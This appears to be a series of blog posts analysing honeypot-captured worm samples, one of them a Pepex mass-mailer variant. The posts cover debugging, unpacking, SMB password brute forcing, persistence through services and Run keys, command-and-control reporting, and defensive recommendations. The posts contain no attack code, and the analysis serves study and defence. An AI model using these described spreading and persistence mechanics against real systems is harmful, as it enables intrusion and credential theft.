Returning from 401A70, we see calls to GetLocaleInfoA and GetComputerNameA, surely as part of a system inventory, and then a call to 401FE0. This sub tries to resolve the domain name as its most important contribution to the overall function of the malware. Below this we see a call to GetUserNameA and then we see all of this information, including the string “1.003” (which I suspect might be a version number for this malware), being turned into a string that is then used to send an HTTP GET request to /update/TPDB.php with the string info as arguments:


This is the last important thing this sub does, and then we see cleanup and a return to WinMain. Back there, we see that the sub that is called as part of the loop that creates the 101 threads calls the sub 401870, which I’m sure is going to be pretty interesting once we take that apart.

Sub 401870 calls GetTickCount and the _srand before entering a loop. There are several nested loops here, but the part of the nested loops that do the “reaching out” to the remote systems repeats 256 times before the overall loop starts all over again. The first thing this overall loop does is a bunch of setup for various parameters and then four calls to sub 401140 which consists of a call to _rand and a SAR instruction. We can see the construction of an IP address. There is a call to 401150 which handles relatively uninteresting validation, and then we reach another conditional jump:


If we’re successful with generating the IP address, then we continue and call 4011F0 which does the actual connection to the IP address being scanned. If the scan is successful, there’s additional work done with the data returned and then a subsequent call to 4011F0 for followup, then further down we see a call to 4012B0.

4012B0 is a very interesting sub. Here’s a snapshot of the initial block of code:


We start to see the beginnings of the setup to start trying usernames and passwords and a reference to IPC. There’s a call to WNetAddConnection2A, and then we either exit if unsuccessful or we continue with this sub. If we continue we then see the call to NetUserEnum, and if we continue being successful then we eventually reach an area where we see a pointer to a username being passed to another sub 401430. This sub passed the start address of our block of unforgivably bad passwords (starting at 408030 in .data land) and then starts iterating through that list, passing the username and password pointers to another sub, 401490. This sub then starts trying to connect to other machines with the list of passwords and enumerated usernames:



If we’re actually successful – we see that the malware calls GetLocalTimeDate and then creates a string to report the successful login to its controller:


If you look in the %system%\system32\ folder on my test machine, you’ll find a file called dnsapi.dll but not dnsapi.exe. Looks like successful logins get stored in that file that is clearly meant to blend in well with the legitimate files in the system32 directory. Then, the malware gets really cute:



OK – so it takes this data about the successful login, and puts that info in the log file. Then it calls 401AE0 which updates C2 about the data in a manner similar to the ones already observed (a call to the /updata/TPDA.php file located at Then we see:


And then the branches:


If it can successfully schedule the job (call to NetScheduleJobAdd), it then goes and reports this information to C2. If it cannot, then it just deletes the file (dnsapi.exe). I think I’m going to take a look at this later in the debugger just to see if I can get more clarity on what exactly is going on. My impression is that data is being saved into this dnsapi.exe file and if a job cannot be schedule with this data, then the file is deleted to help cover the malware’s tracks. I’d like to try to force it to go to this code and see if I can get more observations that will help figure this out. Either way, this sub ends with a cleanup and return to the previous sub.

That’s basically all for this malware. Next up I’m going to try to look in some of the recorded data and the debugger and see if I can get anything else out of this. As I go along, I’ll put some of the things I see along the way in the debugger.

Here we see a random IP that was generated within sub 401870 (specifically at 40191F):


This one happened to be a China Unicom address.

We see that it’s trying to connect via IPC:


We’re in the right area now:


Watching this in the debugger, I see what it’s doing is making a copy of itself and putting it in the %system%\system32\dnsapi.exe path and then scheduling the copy to run as a job. If successful, it reports such to C2 with two different calls (one to report CopyOK and another to report TaskOK). If it can’t make this copy, then it deletes itself. I was wrong about my earlier thought that this was storing data there – I think that since I saw it achieve persistence early on (via the registry), I figured this must be something else, but looks like this malware just wants to make especially sure that it has a foothold on the host system. The successful activities of the malware (for instance, successful logins to user accounts) gets reported to the C2 system at which means that this file doesn’t need to keep anything local to exfiltrate later.

I didn’t see any consistent naming for this sample online, and most scanners refer to it as a generic malware/downloader. Since this was a pretty “friendly” sample, without anti-analysis aspects, obfuscation, packing or much else that would make my job harder, and since there appears to be a two-part aspect to it, I’m going to name this one CANDID.

Findings and observations:
Downloader that tries hard to establish itself in a system via multiple methods of persistence and also aggressively spreads to other remote and local systems. Exfiltrates data regarding compromised accounts to a C2 server that still exists but appears to be out of service, at least as far as this malware is concerned.

Running this in user mode (i.e., not with admin privileges) did prevent one of the persistence methods from being successful (the registry edits) but might not keep the other method from being successful (installation in the %system%\system32 directory). Even so, keeping users running at a level of access appropriate for their roles and tasks at hand is recommended. As this malware spreads via SMB on ports 445 and 137/138 it’s recommended to block or otherwise secure these ports and services. Blocking access to the C2 sites at and should prevent the malware from reporting its actions to the C2 controller and should also prevent the malware from receiving updates and instructions.

An interesting but not very hardened malware sample that steals credentials from users and reports this to its controller.



Working Pepex Followup

I tried working on unpacking the file found in the .rsrc section of the Pepex variant that I analyzed, and had mixed results. I first tried a couple of things like simply looking for a far jump in a disassembly (like with UPX), which didn’t work. I can’t say I’m too surprised, but I figured I would give it a try. I tried running the original malware and then patching the code to force the branch where the file is loaded and executed, but the file that drops is just the packed file from .rsrc (in this case, dropped as %system%\system32\LSASvc.exe).

Next I tried putting breakpoints on Kernel32.LoadLibraryA and Kernel32.LoadLibraryW which showed that a couple of libraries were loaded (GDI32 and imm32). However, the binary keeps failing shortly after the calls to GetProcAddress for various functions from imm32 and GDI32 complete. I notice a string on the stack that says:


So, it clearly knows it’s being messed with. Not sure if this had something to do with what I was trying to do in the debugger, or if it just didn’t like being taken out of the .rsrc section of the overall malware.

Some online tutorials suggest doing something like this:

1) find the PUSH EAX instruction following the PUSHFW and PUSHAD instructions
2) follow what’s in ESP
3) find the string 46 02 C4 FF:


4) set a hardware breakpoint (on access, word) for that string
5) Run program, when BP is hit you should be close to OEP

Trying to follow this keeps resulting in exceptions/errors and crashes. However, a few lines below the original PUSH EAX instruction, I saw this:


I figured that I would just check out what is at 400000, and:


I see the 4D 5A magic numbers and then dumped from there. I ended up dumping the file three ways – used each of Olly’s methods of reconstructing the PE header, and then also without reconstructing it.

What I ended up with was a somewhat unpacked file from the .rsrc section and then the file from the .rsrc section that was created after patching the code to follow that branch (which is what I had originally gotten from the .rsrc section running Resource Hacker).

The unpacked file actually reveals many strings. I’ll go through some of what I find the most interesting, with the full set of strings at the end. First we see what appear to be pretty typical imports – Kernel32, User32, ADVAPI32, WS2_32 and some error message strings. Following this is the first block of function names. Some of the more interesting ones are:

VirtualAlloc, CreateThread, VirtualFree: These are some functions associated with process replacement. I’m not seeing others (such as ResumeThread, WriteProcessMemory, etc.) but perhaps I’m just not seeing them in this file because of the way it was unpacked. This is something to keep in mind as I take a look at what this executable does when run by the parent malware.

WriteFile, DeleteFileA, ReadFile, CopyFileA: I’m always happy to see these functions because it tells me there might be some obvious file system artifacts to look for, but it also makes me wonder if this file copies an existing, legitimate file somewhere else (such as a temp directory) and then does some sort of MiTM thing.

GetSystemDirectoryA, GetTempFileNameA, GetTempPathA: Related to the thoughts above regarding replacement of a legitimate file. I wonder if something happens like: 1) copy legitimate file to a temp path 2) replacement legitimate file with malicious file 3) malicious file receives input from system first before passing on to the legitimate file now residing in the temp directory so that nothing seems amiss.

FindFirstFileA, FindNextFileA: Looks like this thing will look for a specific file.

GetComputerNameA, GetVersionExA, GetDriveTypeA: Makes me think of some sort of system inventory.

CreateProcessA: Will be interesting to see what, if anything, this file creates with a call to this function.

CreateServiceA, StartServiceA: Another interesting clue that some of the other strings here might relate to a service name that this file uses when it creates a service with itself.

The smaller block of libraries and functions at the end just appears to be a repeat of what we’ve seen earlier. Below the large block of functions, we see an interesting set of strings:

Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
Microsoft LSA Logon Authorization Service
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>

Looks like the first two are some error messages specific to this sample. After that I’m going to guess that when this calls CreateServiceA and StartServiceA it calls itself LSAService/Microsoft LSA Logon Authorization Service. Next we see what appears to be some sort of system inventory creation text. I’m going to try to get this to run and see what happens dynamically.

Looking at the malware in the debugger, after the file is written from the .rsrc section, there is a call to CreateProcess with these parameters:


Stepping through the parameters with the help of MSDN:

pProcessInfo: Pointer to a PROCESS_INFORMATION struct that receives info about the new process. In this run this value happens to be 18FB44.

PstartupInfo: Pointer to a STARTUPINFO or STARTUPINFOEX struct. In this run this value is 18FB00. We also see this string:


CurrentDir: The path to the current directory for the process. In this run, it’s set to NULL, so the new process will have the same path as the calling process (which in our case would be c:\ma\lab\)

pEnvironment: NULL in our run, which means that the new process will use the environment of the calling process

CreationFlags: In our case this has been set to CREATE_NO_WINDOW (0x08000000). I’m going to change this to 0x00000010 (CREATE_NEW_CONSOLE) so we can see what it does:


InheritHandles: In our run, this is set to FALSE, so no handles are inherited from the main malware process.

pThreadSecurity: Set to NULL, so handles to the new thread cannot be inherited by child processes.

pProcessSecurity: Also NULL, so handles to the new process cannot be inherited by child processes.

CommandLine: The command line to be executed, which in our case is the string from above – C:\Windows\system32\lsasvc.exe -i (though on our system that’s the SysWOW64 directory since I’m running this on a Win7 VM). The -i argument is interesting. Maybe this means “-install”? I wonder if there is a corresponding -u or -r argument.

ModuleFileName: NULL, so “…the module name must be the first white space-delimited token in the lpCommandLine string…”, therefore lsasvc.exe.

After this, we see some MOVs that zero out some areas in ESP and then we see the parameters set up for the call to CreateProcessA – looks like how I want it:


Running this, however, didn’t produce a console. I was hoping that since the author went out of their way to set this as CREATE_NO_WINDOW, that perhaps I could change the CreationFlags to get something to appear. In discussing this with someone online (thanks Defunct), my current thought process is that since the parent isn’t run in its own console and since this child process should be getting the parent’s STARTUPINFO struct, that could be one reason why we aren’t “seeing” anything. The malware could also have been compiled to be a GUI app and not as a console app. Anyway…

Despite this, we do see some interesting things happen when the process is run. First, Regshot reveals the following changes in the registry:

Keys added: 2
Values added: 14
HKLM\SYSTEM\ControlSet001\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\ControlSet001\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\ControlSet001\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\ControlSet001\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
HKLM\SYSTEM\ControlSet001\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ObjectName: “LocalSystem”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
HKLM\SYSTEM\CurrentControlSet\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ObjectName: “LocalSystem”

Per MSDN, the service Type (0x00000010) is a Win32 program that can be started by the service controller. The Start type (0x00000002) indicates that it should automatically load at startup. This looks to be how this other file achieves some persistence and also stealth as it tries to masquerade as a legitimate-sounding service.

Process Explorer and Process Monitor let us observe that the call to CreateProcessA spawns an LSASvc.exe process (PID 1160) and then that process terminates with another LSASvc.exe process being created (PID 2816). This new process (2816) starts listening on port 186. This is pretty interesting, because the parent malware didn’t appear to have any C2 functionality, and this might indicate how the malware can be worked with remotely.

I tried to fix the dumped file with LordPE and ImpRec, but still had issues with the file so I’m probably going to leave it be, at least for now. There were some interesting things going on in this file, though, so I’ve updated the report from the last post and am including that here. Please let me know if you have any thoughts on any of this, particularly on unpacking Petite!

Updated Report (with additions in bold): MalEXE003-updated

Full Strings:

!This program cannot be run in DOS mode.
runtime error
TLOSS error
SING error
DOMAIN error
– unable to initialize heap
– not enough space for lowio initialization
– not enough space for stdio initialization
– pure virtual function call
– not enough space for _onexit/atexit table
– unable to open console device
– unexpected heap error
– unexpected multithread lock error
– not enough space for thread data
abnormal program termination
– not enough space for environment
– not enough space for arguments
– floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!

<program name unknown>
This file has been tampered with and
Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
Microsoft LSA Logon Authorization Service
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>
Corrupt Data!

New Pepex Variant (this one works)

I spent the morning sorting through samples from all the GRAB honeypots, and settled on a sample that happened to come in via the NYC honeypot. 50/53 detection ratio on VirusTotal, so let’s look into it in more depth.

Static Analysis

Running strings on the sample reveals only four strings that make any sense at all:


Looks packed to me, but not UPX like the last sample. PEiD identifies the packer as Upack 0.39 beta. I opened the file in PE Explorer and that automatically unpacked the malware (revealing many more strings than before), but I am going to take a shot at manually unpacking it anyway.

Upack is trickier than UPX, in my opinion. Opening the packed sample doesn’t show a clear jump to OEP, so I opened it in Olly and went to where the code for LoadLibraryA is found by pressing ctrl-G and then going to kernel32.LoadLibraryA, then set a breakpoint on the first instruction:


I watch the malware call LoadLibraryA seven times, ending with Mpr.dll, and then hitting run again causes it to run and not hit the breakpoint again. Restoring the VM snapshot, I go back to where Mpr.dll was called and then set another breakpoint on GetProcAddress, and then run through that five times until it appears that GetUserNameEx is the final function called with GetProcAddress before the rest of the program runs and the second breakpoint is no longer hit.

Stepping through the rest of that particular call to GetProcAddress and returning to the rest of the code, I’m ready to start stepping through the remains of the unpacking stub to get to the actual code entry point:


After following a few branches, I see what I believe to be the entry point:


This doesn’t look too typical for me in terms of address and code, but mainly what I was looking at here was a relatively long block of code compared with the branches I just looked at, plus starting at 756AA4E9 you can see what looks like it could be the start of a function with PUSH EBP | MOV EBP, ESP. Trying to dump that as an OEP didn’t really work – I did get something that I could disassemble and also do other analysis on, but this doesn’t seem to be the right place. Using OllyDump and its feature “Find OEP by Section Hop (Trace Over)” got me to this general area which looks much more promising:


Checking this against the automatically unpacked file, this is the entry point area. What’s sort of strange is that whether I dump this process from the other address above (756AA4E9) or the one right here (4023A0), I end up with basically the same dumped file and OllyDump can’t do anything with the import table. ImpRec doesn’t work either, and either way I’m left with something that doesn’t function but nevertheless offers a lot of interesting data statically or in disassembly. Since I was successful with the automated tool, I’m going to move on to static analysis of the unpacked sample that I obtained with PE Explorer.

Going through the meaningful strings from the unpacked malware, we now see a more normal set of sections:


I don’t typically see a .code section, but this must be the equivalent of the .text section containing the sample’s code. I also don’t usually see .idata, but this should have the import function info which I’m more accustomed to finding in the .rdata section. I’m guessing that something is contained in .rsrc, but we’ll get to that later.

I see some function names, and date/time strings, but then I see a very long list of three digit numbers (here’s just an excerpt):


I wonder if this is being used in some fashion to “construct” IP addresses. I notice that some of the “special” numbers like 239 and 255 are not included in this list, though if this is what it’s being used for, one would think you’d see numbers below 130 also. These could also be ports.

Below this, I see some interesting strings that remind me of some of the stuff revealed in my analysis of Pepex:

That SMTP server is an exact string from the Pepex sample I took apart previously. Those other addresses could make for some interesting signatures once we get to that point. After this, we see many strings of inexcusably horrendous passwords (crap like 1234, angel, password, passwd, BUMBLE, asdf, asdfgh, 4321, db2admin, and so on).

I see what looks like the framework for constructing an IP address dynamically:


Below that, something very interesting:

Subject: Hello
From: <
From: “Microsoft” <>
Reply-To: “Microsoft” <>
Windows Genuine Update
Windows Update

This looks EXACTLY like some of the info pulled from Pepex. We see the same email addresses in use as in that other sample. The IP address points to Google. I’m starting to think that this is a Pepex variant, if it wasn’t already pretty clear. Strangely, the antivirus products weren’t too consistent in naming this sample when scanned, though I recall that one of them did identify it as Pepex. I wonder if that lsascv.exe file is what the sample uses to install itself and achieve some stealth, and the Windows Genuine Update string points to additional stealth / persistence methods.

Further on, we see:

Subject: %s|%s|%s

Again, something to keep in mind. This might do something with lsass because of lsass’ privilege levels and API access. Finally, that Subject: %s|%s|%s is the same string we saw in the other Pepex sample for constructing the spam subject line.

We see a bunch of OS names:

Unkown [sic]

I find it interesting that this is the same list as in the other Pepex sample, however Win7 is not here (which I wouldn’t expect from a sample created in 2004). Perhaps the reason why we had so many problems with the other sample was because someone tried updating the code and screwed up.

I see many imported function names, but I’ll look at those when I view the file in PEview, as it’s an easier interface. One final and very interesting set of strings:

!This program cannot be run in DOS mode.
Corrupt Data!

Looks like we have another file inside. I’m not sure what a .petite section is but it’s not a normal section like .text, .rsrc, .rdata, or others. Some weird error messages follow, so perhaps this is a packed file within the previously packed malware. After that I see a handful of process names and library imports, so I think we’ll need to continue digging to get to the bottom of this.

PEiD doesn’t detect and packers, under any settings. KANAL, however, detects a zlib deflate reference at 0000BE74 / 0040D474. Resource Hacker shows an obvious file stored in the resource section that is named “FILE”:


This file, however, is packed, using Petite 2.x:


KANAL also sees a reference to zlib in this file from the .rsrc section. Depending on how it goes analyzing this malware, I may look at this file in a follow-on analysis. Also, please see the following note from the readme file inclued with the current version of Petite, which is another reason why I’m probably going to tackle this in a subsequent analysis:

There is no Petite decompressor. So if it is not possible for you to
reinstall or recompile a file, then you should keep a backup of the
original incase[sic] you should want to go back to it at any time.

Opening the main malware file in PEview doesn’t reveal anything weird as far as some possible anti-debugging stuff – number of data directories is 0x10 and no TLS table. Imported libraries are Kernel32, User32, AdvApi32, and WS2_32. Here are some of the interesting things that can be seen as imported functions under each library:

RegOpen/CloseKeyExA, RegSetValueExA, Create/Open/Start/DeleteServiceA: Based on these imports and the prior work done on the other Pepex variant, I’m guessing that this is used to both achieve persistence and also start the malware as a service.

CopyFileA, WriteFile: I see a call to CopyFileA but not to DeleteFileA, so maybe this file makes a copy of itself and then deletes itself some other way when it installs. This also could mean that this file relocates some system file so that it can put itself in between the user and the legitimate file (maybe it gets in between lsass.exe, for instance). I suppose that one clue that this is not the case is that I don’t see any exports, but we still don’t know how the file from the .rsrc section functions yet. WriteFile is always good for looking for file system signatures.

WaitForSingleObject: perhaps this malware creates a mutex.

CreateProcessA: Always good for signatures, and also this means we’ll need to look out for child processes of this main malware process. Could possibly also be used to load drivers.

The interesting thing here is that I’m only seeing client-side functions imported (socket, connect, send, recv) but not server-side functions (like bind, listen, accept).

Dynamic Analysis

For the dynamic analysis, I ran and recorded the packed malware two times – once as a regular user, and once as an administrator.

Watching the run as a regular used showed a ton of activity taking place in Wireshark. RegShot didn’t reveal much going on. There was a UserAssist value added under HKU, but other than that, no other changes in the registry or file system that could be linked to the malware (speaking strictly from the RegShot perspective). Process Explorer revealed only the single malware process being created (PID 2576) but nothing else. It could be we missed other stuff happening in Process Explorer, so we’ll look at Process Monitor and other places too. I’m not seeing anything in Autoruns, so perhaps persistence wasn’t achieved.

Looking in Process Monitor, I see that the malware did not appear to spawn any child processes. The main things observed, some of which match up with the static analysis, include:

– reads the current version of Windows through HKLM
– many registry keys related to networking are queried
– the malware gets the computer name from the registry
– the malware creates 256 threads, and this is the final set of actions recorded by Process Monitor

I’m not seeing any files being written, or any registry entries being added or modified (values or keys). The Wireshark traffic is more interesting. In only a few minutes I could see a few tens of thousands of packets being sent out to apparently random IP addresses. Take a look at the protocols:


Basically all TCP. I didn’t see any addresses resolved, however endpoints revealed something interesting:


Thousands and thousands of lines of traffic on port 445, which is associated with SMB (which is where this sample came from on the honeypot, by the way). Looking over on the UDP tab of this window:


We see traffic on some broadcast IP addresses and on ports 137 and 138 which, for UDP, are associated with SMB also (NetBios API). There’s also traffic on port 1900, which is the UPnP port that we saw a lot of action on in the honeypot statistics.

Reviewing the recorded malware activity that was run as an administrator didn’t reveal any new or different behavior. The same activity both on the host and the network was observed.

I didn’t see any activity on the IP address we found in the strings of the malware ( I dumped the traffic from Wireshark and then ended up with 39,203 unique IP addresses from that. I did a little research into where these IP addresses were located, and with whatever whois data I was able to obtain, the vast majority of the IP addresses are in the USA with some falling outside the country:


Disassembly and Debugging

Opening the unpacked malware in Ida, the first thing we see the sample do (in winmain) is call WSAstartup, and then then there is a call to a sub at 4020E0 which imports some DLLs. The DLL names are obfuscated, and 4020E0 builds the imports in the same manner as the other Pepex variant. Following some branches, which I’m finding difficult to figure out just using Ida, we either move towards a “scanning” branch (which is the behavior that I’ve observed so far) or towards the installation branch. The installation branch begins with a call to 401950, which starts with loading the binary that is in the .rsrc section and then writing it as %SYSTEM%\lsasvc.exe, which makes for a nice file system signature:

Then, later on in this sub, we see the file being written and then a process being created from it.

The next sub that is called, 4018E0, sets up persistence for the newly installed malware by adding it to the registry (under the name “Windows Update”) to run at startup:


This also makes for a nice host signature under “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

Sub 401000 involves some calls to gethostbyname and then a loop that writes a series of IP address strings to a buffer. After this, we see a string being put in a buffer:


Then we see a call to GetVersion and then the system derives an OS name (one of the strings mentioned earlier such as “WinVista”) and this string is passed to the buffer also:


Following this, we see an email address being pushed onto the stack and then we get into some really interesting stuff beginning with a call to 401210:


Before getting into 401210, I’m going to take a quick look at the alternate branch that this sample seemed to follow when I ran it in my test environment. This is the branch that was taken at the conditional jump at 40243F which branched us away from the installation/system inventory/email generation branch and instead did the IP scanning and thread creation.

Going down this alternate branch results in a call to Sleep (for 100ms) and then an indirect call to sub 402C50. This is a somewhat large sub that generates IP addresses through a combination of calls to GetTickCount and generated random numbers. There is a loop related to thread creation, and we can see where the condition jump is put in place in order to create the 256 threads we observed during the dynamic analysis:


Note that I displayed the number in base 10 for clarity.

Also within this overall thread creation/scanning sub, there is a call to a fairly deep branch called sub 402840. This sub begins with establishing some network connectivity and then calls another sub, 401F20. This sub contains several indirect calls (annoying). I see something being done with the string “administrator” so it’s possible that this is some sub that either logs into an account somewhere (or tries to do so). We do see a call to sub 401AE0, though. This sub makes a reference to IPC, and then appears to send system inventory information to the address:


Then after that we can see stuff being done with lsass.exe (notice also the hard coded directory of \winnt\ rather than an environment variable). Here are another couple of examples of hard-coded directory references:


After setting up with these paths, we see a call to 401800. Here we see the malware being set up and started as a service:


Windows Genuine Update” and “Wupdate” are nice signatures to be aware of.

Going back to the large branch, where we really get into the heart of this thing, sub 401210 begins with a connection to and then a check of connectivity. If we get past that, then the malware starts to build a set of SMTP commands:


This gets sent, and then checked for errors again:


If at any time we have an error, the sub will exit. Next we see more SMTP commands being built, this one showing that this mail is from


Continuing through the code, we see where the recipient email address is passed via SMTP, and then we see where the malware starts to build out the area for the body of the email:


After this, we get to an area that I’m not sure I fully understand:


What it looks like is happening here, is that the string “” is pushed onto the stack twice, and then these two strings are compared with a call to strcmpi (which is deprecated according to MSDN). Then, there is a conditional jump based on this comparison – If the strings are the same, then the function should return 0 and therefore this conditional jump should always be followed in this instance, which would take us down the branch on the left. If anyone out there has a better understanding of what is going on here, please let me know, as it appears that we have a situation where there’s a condition jump that is never followed. In any case, on the left branch, we see some more signatures that were common with the other Pepex variant analyzed (,

At the end, we see the wrap up of the SMTP traffic and the return:


At this point, I’m done looking at this sample. As we’ve seen, it’s closely related to a prior sample, except that this one actually seems to work so we were able to observe more functionality. I might take a look into manually unpacking the file in the resource section since this is a packer that is new to me and this might make for an interesting analysis.

Findings and observations:
Mass-mailer worm. Similar to the prior sample analyzed, which I believe was derived from this new sample as this sample did not appear to have the execution issues observed previously. Sample appears to both scan new IP addresses, both for remote and local systems, probably with the intent of spreadnig itself. It also contains functionality around reporting system inventory and sending spam messages.

– Block ports 445, 137, and 138 as this is where this sample was obtained and this sample was observed connecting to remote and local systems on these ports
– Usual recommendations against opening unsolicited mail (especially with attachments)
– Filter email associated with “”, “”, and “”, “”, “

Interesting, old malware. It was good to see this worm running successfully so as to get a better opportunity to view its capabilities.



Manually Unpacked:

Automatically Unpacked: